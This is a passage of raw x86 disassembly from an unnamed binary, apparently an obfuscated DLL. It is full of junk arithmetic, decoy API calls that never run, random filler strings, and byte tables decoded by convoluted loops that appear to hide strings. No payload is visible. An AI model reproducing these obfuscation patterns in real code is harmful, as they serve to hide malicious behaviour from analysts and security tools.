cmp dword [ebp - 0x28], 3
jge 0x100241bb
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x76c], 0x3d4752e4
jmp 0x1002419e
mov dword [ebp - 0xc0], 0xffffffed
jmp 0x100241d4
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0xfffffff7
jne 0x10024331
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x73c], 0
mov dword [ebp - 0x744], 9
imul eax, dword [ebp - 0xc0], 0
add eax, dword [ebp - 0x26c]
cmp eax, dword [ebp - 0x26c]
jne 0x10024220
mov dword [ebp - 0x358], 1
jmp 0x10024227
and dword [ebp - 0x358], 0
mov eax, dword [ebp - 0x26c]
cmp eax, dword [ebp - 0x358]
jge 0x10024241
mov dword [ebp - 0x428], 1
jmp 0x10024248
and dword [ebp - 0x428], 0
cmp dword [ebp - 0x428], 0x27d373ee
jle 0x10024258
cmp dword [ebp - 0x6c], 0
cmp dword [ebp - 0x6c], 0x83674579
ja 0x1002426d
mov dword [ebp - 0x360], 1
jmp 0x10024274
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x360], eax
je 0x1002428b
mov dword [ebp - 0x490], 1
jmp 0x10024292
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x490]
dec eax
cmp eax, dword [ebp - 0xc0]
jne 0x100242eb
mov dword [ebp - 0x6c], 0
jmp 0x100242b1
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jg 0x100242c8
mov eax, dword [ebp - 0x6c]
cmp dword [ebp + eax*4 - 0x868], 0
je 0x100242c6
jmp 0x100242c8
jmp 0x100242aa
mov byte [ebp - 0x97], 0
movzx eax, byte [ebp - 0x97]
test eax, eax
je 0x100242e9
push 0
push 0xa1
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
jmp 0x1002432c
mov dword [ebp - 0x7e0], 2
mov dword [ebp - 0x7dc], 2
mov dword [ebp - 0x7d8], 2
mov dword [ebp - 0x7d4], 2
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x76c]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x76c], eax
jmp 0x100241c7
mov dword [ebp - 0xd8], 0xce125d16
mov dword [ebp - 0x17c], 0
jmp 0x10024354
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 3
jge 0x10024370
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x85c], 0xffffffff
jmp 0x10024347
mov byte [ebp - 0x82], 0
mov dword [ebp - 0x368], 0xac7
mov dword [ebp - 0x690], str.jidsiohz_csumxzc_bnoxjbhzc_uarwizeq_mpof_xza_wsfuskjag_echi_iaqulmm
cmp dword [ebp - 0x368], 0xbb9
jle 0x10024443
and dword [ebp - 0x1fc], 0
jmp 0x100243b1
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x2a96
jge 0x10024443
and dword [ebp - 0x184], 0
jmp 0x100243d7
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x66fa
jge 0x1002443e
and dword [ebp - 0x23c], 0
jmp 0x100243f9
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xa5
jge 0x1002443c
mov eax, dword [ebp - 0x1fc]
add eax, dword [ebp - 0x184]
add eax, dword [ebp - 0x23c]
cdq
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x5d8], edx
push dword [ebp - 0x5d8]
push dword [ebp - 0x5dc]
mov ecx, 0x10062a18
call fcn.10003a17
jmp 0x100243ec
jmp 0x100243ca
jmp 0x100243a4
movzx eax, byte [ebp - 0x82]
test eax, eax
je 0x10024456
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x368], 0x855
jge 0x10024479
mov edx, dword [ebp - 0x690]
mov ecx, 0x10062a18
call fcn.10006198
jmp 0x10024495
or dword [ebp - 4], 0xffffffff
jmp 0x1002449f
mov dword [ebp - 0xd8], 2
jmp 0x100244b8
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0
jl 0x100244d5
mov eax, dword [ebp - 0xd8]
cmp dword [ebp + eax*4 - 0x85c], 0
je 0x100244d3
jmp 0x100244d5
jmp 0x100244ab
cmp dword [0x10063ba0], 0
jne 0x1002571e
mov dword [ebp - 0x61c], 0xbf0b96ca
mov dword [ebp - 0x18c], 0
jmp 0x10024505
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 1
jge 0x10024521
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x550], 2
jmp 0x100244f8
mov byte [ebp - 0x81], 0
movzx eax, byte [ebp - 0x81]
test eax, eax
je 0x10024582
push 0x7d7
push 0x2067
push 0x2128
push 0x469
push 0xff9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x13ca
push 0x1cb6
push 0x5be
push 0x81b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x550]
mov dword [ebp - 0x61c], eax
mov dword [ebp - 0x558], 0x1421
lea eax, [ebp - 0x558]
push eax
call fcn.1001f0b7
pop ecx
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x54], 0
jmp 0x100245c2
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jge 0x100245d8
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x838], 0xffffffff
jmp 0x100245bb
mov dword [ebp - 0x54], 0
jmp 0x100245e8
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 4
jge 0x100245fe
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x718], 0xfffffffa
jmp 0x100245e1
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x718], 0
jmp 0x1002462c
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x718]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x718], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x718], 3
jge 0x10024656
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x718]
mov dword [ebp + eax*4 - 0x838], 1
jmp 0x10024611
mov byte [ebp - 0xa6], 0
movzx eax, byte [ebp - 0xa6]
test eax, eax
je 0x1002466e
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov byte [ebp - 0x10c], 4
mov byte [ebp - 0x10b], 0xd0
mov byte [ebp - 0x10a], 0xb
mov byte [ebp - 0x109], 0x1d
mov byte [ebp - 0x108], 7
mov byte [ebp - 0x107], 0x11
mov byte [ebp - 0x106], 9
mov byte [ebp - 0x105], 7
mov byte [ebp - 0x104], 8
mov byte [ebp - 0x103], 1
mov byte [ebp - 0x102], 1
mov byte [ebp - 0x101], 0x21
mov byte [ebp - 0x100], 0xc
mov byte [ebp - 0xff], 0x38
mov byte [ebp - 0xfe], 3
mov byte [ebp - 0xfd], 1
mov byte [ebp - 0xfc], 6
mov byte [ebp - 0xfb], 0x25
mov byte [ebp - 0xfa], 0xa
mov byte [ebp - 0xf9], 0x36
mov byte [ebp - 0xf8], 5
mov byte [ebp - 0xf7], 0x37
mov byte [ebp - 0xf6], 1
mov byte [ebp - 0xf5], 0x17
mov byte [ebp - 0xf4], 0
mov byte [ebp - 0xf3], 0x22
mov byte [ebp - 0xf2], 2
mov byte [ebp - 0xf1], 0x33
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x10c]
and eax, 0xb5
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x10c]
or ecx, 0xb5
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x10c]
mov byte [ebp + eax - 0x518], cl
mov dword [ebp - 0x20], 2
and dword [ebp - 0xf0], 0
jmp 0x10024788
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1c
jae 0x10024866
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x10c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x100247d2
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x10c]
inc eax
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x10c]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
jmp 0x10024780
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xf0]
movzx eax, byte [ebp + eax - 0x10e]
movsx eax, byte [ebp + eax - 0x518]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x10b]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xf0]
movzx eax, byte [ebp + eax - 0x10e]
movsx eax, byte [ebp + eax - 0x518]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x10b]
and edx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xf0]
movzx eax, byte [ebp + eax - 0x10e]
movsx eax, byte [ebp + eax - 0x518]
mov esi, dword [ebp - 0x20]
movzx ebx, byte [ebp + esi - 0x10b]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x10c]
mov byte [ebp + eax - 0x518], bl
and dword [ebp - 0xf0], 0
jmp 0x10024780
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x518], 0
mov dword [ebp - 0x14], 0xba76aabe
mov dword [ebp - 0x40], 0x35240ca7
mov eax, 0xf2fb
test eax, eax
je 0x10024918
cmp dword [ebp - 0x14], 0x8528
jne 0x100248a4
mov dword [ebp - 0x430], 1
jmp 0x100248ab
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x430]
lea eax, [ecx + eax + 0x5251]
cmp eax, 0xffffffff
jl 0x100248cc
mov dword [ebp - 0x370], 1
jmp 0x100248d3
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x370]
je 0x100248ee
xor eax, eax
je 0x100248ee
mov dword [ebp - 0x4dc], 1
jmp 0x100248f5
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x14]
jg 0x10024918
cmp dword [ebp - 0x40], 0
je 0x10024918
mov dword [ebp - 0x378], 1
jmp 0x1002491f
and dword [ebp - 0x378], 0
cmp dword [ebp - 0x378], 0xffffffff
je 0x10024934
mov dword [ebp - 0x438], 1
jmp 0x1002493b
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x438]
sub eax, dword [ebp - 0x14]
jne 0x10024955
cmp dword [ebp - 0x14], 0
jne 0x10024955
and dword [ebp - 0x380], 0
jmp 0x1002495f
mov dword [ebp - 0x380], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x380]
jle 0x10024b18
mov dword [ebp - 0x94], 0xffffffff
mov dword [ebp - 0x448], 0x18177c4
mov dword [ebp - 0x560], 0
mov byte [ebp - 0xa8], 0
movzx eax, byte [ebp - 0xa8]
test eax, eax
je 0x100249a9
push 0x2531
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x94], 0
je 0x10024b00
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x94]
jle 0x100249d0
mov dword [ebp - 0x698], 1
jmp 0x100249d7
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x74c], eax
mov eax, 0xa540f827
sub eax, 0x2908cdac
imul eax, eax, 0x3a15
cmp dword [ebp - 0x14], eax
jge 0x10024a04
mov dword [ebp - 0x498], 1
jmp 0x10024a0b
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x498]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x94]
jne 0x10024a2e
mov dword [ebp - 0x388], 1
jmp 0x10024a35
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x94]
add eax, dword [ebp - 0x388]
cmp eax, dword [ebp - 0x14]
jge 0x10024a52
mov dword [ebp - 0x440], 1
jmp 0x10024a59
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0x191d4d00
jge 0x10024a71
mov dword [ebp - 0x390], 1
jmp 0x10024a78
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x390]
cmp eax, dword [ebp - 0x14]
jge 0x10024a92
mov dword [ebp - 0x4c8], 1
jmp 0x10024a99
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x4c8]
cmp eax, 7
jbe 0x10024ab3
mov dword [ebp - 0x398], 1
jmp 0x10024aba
and dword [ebp - 0x398], 0
imul eax, dword [ebp - 0x398], 0xb0f5
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
cmp eax, dword [ebp - 0x94]
jge 0x10024ae4
mov dword [ebp - 0x3a0], 1
jmp 0x10024aeb
and dword [ebp - 0x3a0], 0
cmp dword [ebp - 0x3a0], 0xfffffffe
jg 0x10024b00
mov dword [ebp - 0x4a0], 1
jmp 0x10024b07
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x560], eax
jmp 0x10024d3a
mov dword [ebp - 0x68c], 0xaec
mov dword [ebp - 0x570], 0xfffffffc
mov dword [ebp - 0x450], 0x60a3
mov dword [ebp - 0x568], str.zxsgpcyp_tnph_cegm_aowqk_lkfmu_kussju_cbsscb_gyxcqje_xtcrpeqg_aqjkdklx_hzn_nwira
cmp dword [ebp - 0x450], 0x60dc
jle 0x10024bff
and dword [ebp - 0x204], 0
jmp 0x10024b66
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x4f17
jge 0x10024bf0
and dword [ebp - 0x194], 0
jmp 0x10024b88
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x1b4d
jge 0x10024beb
mov eax, dword [ebp - 0x204]
or eax, dword [ebp - 0x194]
cdq
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], edx
push dword [ebp - 0x5e4]
push dword [ebp - 0x5e8]
lea ecx, [ebp - 0x8bc]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x628], eax
mov ecx, dword [ebp - 0x628]
call fcn.10003995
push eax
call fcn.10036008
pop ecx
lea ecx, [ebp - 0x8bc]
call fcn.1000398b
jmp 0x10024b7b
jmp 0x10024b59
push 0x1250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 0x40], 0
jmp 0x10024c0f
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xfffffff7
jge 0x10024cb0
mov dword [ebp - 0x3a8], 1
mov dword [ebp - 0x14], 0xd
jmp 0x10024c33
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x10024cab
mov dword [ebp - 0x19c], 0xffffffff
mov dword [ebp - 0x224], 0
jmp 0x10024c5c
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 3
jge 0x10024c78
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0x988], 1
jmp 0x10024c4f
mov dword [ebp - 0x19c], 2
jmp 0x10024c91
mov eax, dword [ebp - 0x19c]
dec eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0
jl 0x10024ca9
mov eax, dword [ebp - 0x3a8]
dec eax
mov dword [ebp - 0x3a8], eax
jmp 0x10024c84
jmp 0x10024c2c
jmp 0x10024c08
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x450], 0x6084
jge 0x10024ccf
push dword [ebp - 0x568]
call fcn.10036008
pop ecx
jmp 0x10024ceb
or dword [ebp - 4], 0xffffffff
jmp 0x10024cf5
mov dword [ebp - 0x14], 0x13
jmp 0x10024d05
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffe3
jge 0x10024d3a
mov eax, dword [ebp - 0x68c]
mov dword [ebp - 0x570], eax
mov byte [ebp - 0x83], 0
movzx eax, byte [ebp - 0x83]
test eax, eax
je 0x10024d38
push 0x1250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x10024cfe
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x91c]
call fcn.1002a91e
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x634]
mov dword [ebp - 0x578], eax
mov dword [ebp - 4], 0xe
mov edx, dword [ebp - 0x30c]
mov ecx, dword [ebp - 0x578]
call fcn.1001af95
mov dword [0x10063ba0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x91c]
call fcn.10003c36
and dword [ebp - 0x20c], 0
jmp 0x10024da0
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xe
jae 0x10024db9
mov eax, dword [ebp - 0x20c]
mov byte [ebp + eax - 0x518], 0
jmp 0x10024d93
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x458], 0x704f3d4e
mov dword [ebp - 0x640], 0xd28e487
mov dword [ebp - 0x1a4], 0
jmp 0x10024ded
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 4
jge 0x10024e09
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0x4f8], 0x540d
jmp 0x10024de0
mov dword [ebp - 0x34], 3
jmp 0x10024e19
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x10024fd5
mov dword [ebp - 0x234], 1
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x10024e49
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x4f8], 0
jne 0x10024f88
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x4f8]
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x4f8]
mov dword [ebp - 0x72c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x234]
add ecx, 0xcca6
cmp ecx, dword [ebp + eax - 0x4f8]
jl 0x10024ea1
mov dword [ebp - 0x6b4], 1
jmp 0x10024ea8
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x77c], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x4f8]
mov dword [ebp - 0x784], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ebp + ecx*4 - 0x4f8]
sub ecx, dword [ebp + eax - 0x4f8]
cmp ecx, 0xfffffff7
jge 0x10024eeb
mov dword [ebp - 0x3b0], 1
jmp 0x10024ef2
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x234]
cmp dword [ebp - 0x3b0], eax
jle 0x10024f0c
mov dword [ebp - 0x4e8], 1
jmp 0x10024f13
and dword [ebp - 0x4e8], 0
cmp dword [ebp - 0x4e8], 0x54e7
jl 0x10024f2b
mov dword [ebp - 0x3b8], 1
jmp 0x10024f32
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x4f8]
cmp dword [ebp - 0x3b8], eax
jne 0x10024f50
mov dword [ebp - 0x580], 1
jmp 0x10024f57
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x78c], eax
mov dword [ebp - 0x458], 3
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x458]
add ecx, dword [ebp + eax - 0x4f8]
jne 0x10024f88
and dword [ebp - 0x3c0], 0
jmp 0x10024f92
mov dword [ebp - 0x3c0], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c0]
dec ecx
cmp ecx, dword [ebp + eax - 0x4f8]
je 0x10024fbd
cmp dword [ebp - 0x234], 0
je 0x10024fbd
mov dword [ebp - 0x290], 1
jmp 0x10024fc4
and dword [ebp - 0x290], 0
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x640], eax
jmp 0x10024e12
mov dword [ebp - 0x70], 0x7516
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0xe8], 1
mov dword [ebp - 0xcc], 0xa7b7e80d
mov dword [ebp - 0x250], 0x95dd
mov dword [ebp - 0x1ac], 0
jmp 0x1002501a
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 2
jge 0x10025036
mov eax, dword [ebp - 0x1ac]
mov dword [ebp + eax*4 - 0x5f4], 0xc295
jmp 0x1002500d
cmp dword [ebp - 0x70], 0
jne 0x1002504b
cmp dword [ebp - 0x70], 0xfffffffb
jae 0x1002504b
and dword [ebp - 0x294], 0
jmp 0x10025055
mov dword [ebp - 0x294], 1
cmp dword [ebp - 0x294], 0
jne 0x1002506a
mov dword [ebp - 0x29c], 1
jmp 0x10025071
and dword [ebp - 0x29c], 0
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xfffffffa
jge 0x1002508c
mov dword [ebp - 0x2a4], 1
jmp 0x10025093
and dword [ebp - 0x2a4], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x2a4], eax
jle 0x100250a5
cmp dword [ebp - 0x7c], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0x70]
je 0x100250c5
mov dword [ebp - 0x2ac], 1
jmp 0x100250cc
and dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x2ac], eax
jge 0x100250e6
mov dword [ebp - 0x2b4], 1
jmp 0x100250ed
and dword [ebp - 0x2b4], 0
mov eax, dword [ebp - 0xe8]
imul eax, dword [ebp - 0x2b4]
imul eax, dword [ebp - 0xe8]
test eax, eax
je 0x1002511e
mov dword [ebp - 0x2bc], 5
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
jmp 0x1002513e
mov dword [ebp - 0x588], 0x3997
mov dword [ebp - 0x694], 0x7d02268f
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0x694], eax
mov dword [ebp - 0x70], 0
jmp 0x1002514e
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xfffffff1
jne 0x100253a7
mov dword [ebp - 0x268], 0x77ae2718
mov dword [ebp - 0x6d8], 0xffffffff
mov dword [ebp - 0x6d4], 0xffffffff
mov dword [ebp - 0x6d0], 0xffffffff
mov dword [ebp - 0x6cc], 0xffffffff
mov dword [ebp - 0x598], 0xcd0ab83d
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x794], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x5f4], 0
je 0x10025373
cmp dword [ebp - 0xcc], 0
je 0x10025344
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x6d8], 0xffffffff
jg 0x100251da
mov dword [ebp - 0x28c], 1
jmp 0x100251e1
and dword [ebp - 0x28c], 0
cmp dword [ebp - 0x28c], 0xc4d7
jge 0x100251f9
mov dword [ebp - 0x2cc], 1
jmp 0x10025200
and dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0xcc]
je 0x10025226
cmp dword [ebp - 0x250], 0
jne 0x10025226
and dword [ebp - 0x590], 0
jmp 0x10025230
mov dword [ebp - 0x590], 1
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x7c], 0
je 0x10025257
mov eax, 0xfff9
test eax, eax
je 0x10025257
mov dword [ebp - 0x2d4], 1
jmp 0x1002525e
and dword [ebp - 0x2d4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x6d8]
cmp dword [ebp - 0x2d4], eax
jle 0x1002527f
mov dword [ebp - 0x2dc], 1
jmp 0x10025286
and dword [ebp - 0x2dc], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x6d8]
cmp dword [ebp - 0x2dc], eax
jle 0x100252a7
mov dword [ebp - 0x64c], 1
jmp 0x100252ae
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x598]
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0xcc], 0xffffffff
jle 0x100252cf
mov dword [ebp - 0x2e4], 1
jmp 0x100252d6
and dword [ebp - 0x2e4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2e4]
sub ecx, dword [ebp + eax - 0x5f4]
cmp ecx, 3
jne 0x100252fa
mov dword [ebp - 0x2ec], 1
jmp 0x10025301
and dword [ebp - 0x2ec], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2ec]
sub ecx, dword [ebp + eax - 0x5f4]
cmp ecx, dword [ebp - 0xe8]
jg 0x10025328
mov dword [ebp - 0x2f4], 1
jmp 0x1002532f
and dword [ebp - 0x2f4], 0
cmp dword [ebp - 0x2f4], 0
je 0x10025344
mov dword [ebp - 0x288], 1
jmp 0x1002534b
and dword [ebp - 0x288], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x288]
mov dword [ebp + eax - 0x6d8], ecx
cmp dword [ebp - 0x288], 0
je 0x10025373
mov dword [ebp - 0x2fc], 1
jmp 0x1002537a
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
mov eax, dword [ebp - 0x2fc]
sub eax, dword [ebp - 0x250]
inc eax
mov ecx, dword [ebp - 0x268]
add ecx, eax
mov dword [ebp - 0xcc], ecx
jmp 0x10025147
mov byte [ebp - 0x12c], 9
mov byte [ebp - 0x12b], 0xb
mov byte [ebp - 0x12a], 0xb
mov byte [ebp - 0x129], 0x10
mov byte [ebp - 0x128], 8
mov byte [ebp - 0x127], 0x1c
mov byte [ebp - 0x126], 0xd
mov byte [ebp - 0x125], 0x38
mov byte [ebp - 0x124], 5
mov byte [ebp - 0x123], 0x32
mov byte [ebp - 0x122], 3
mov byte [ebp - 0x121], 4
mov byte [ebp - 0x120], 0
mov byte [ebp - 0x11f], 0x22
mov byte [ebp - 0x11e], 2
mov byte [ebp - 0x11d], 0x26
mov byte [ebp - 0x11c], 1
mov byte [ebp - 0x11b], 0x17
mov byte [ebp - 0x11a], 0xa
mov byte [ebp - 0x119], 0x17
mov byte [ebp - 0x118], 1
mov byte [ebp - 0x117], 0xea
mov byte [ebp - 0x116], 4
mov byte [ebp - 0x115], 0x11
mov byte [ebp - 0x114], 0xc
mov byte [ebp - 0x113], 7
mov byte [ebp - 0x112], 6
mov byte [ebp - 0x111], 0x23
mov byte [ebp - 0x110], 7
mov byte [ebp - 0x10f], 0x22
mov dword [ebp - 0x304], 0x6453
mov dword [ebp - 0x5a4], str.mohxulrx_hrqkiblos_ycjqp_kaohbpusm_hhmxzsueb_nfvzqtfz_inbyhs_hukstypp_mtzxurh_yazfvd_vvv
cmp dword [ebp - 0x304], 0x66c8
jle 0x10025545
and dword [ebp - 0x1e0], 0
jmp 0x100254b3
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x3c50
jge 0x1002553d
and dword [ebp - 0x1b4], 0
jmp 0x100254d5
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x2022
jge 0x10025538
mov eax, dword [ebp - 0x1e0]
add eax, dword [ebp - 0x1b4]
cdq
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], edx
push dword [ebp - 0x5fc]
push dword [ebp - 0x600]
lea ecx, [ebp - 0x97c]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x6ac], eax
mov ecx, dword [ebp - 0x6ac]
call fcn.10003995
push eax
call fcn.10036008
pop ecx
lea ecx, [ebp - 0x97c]
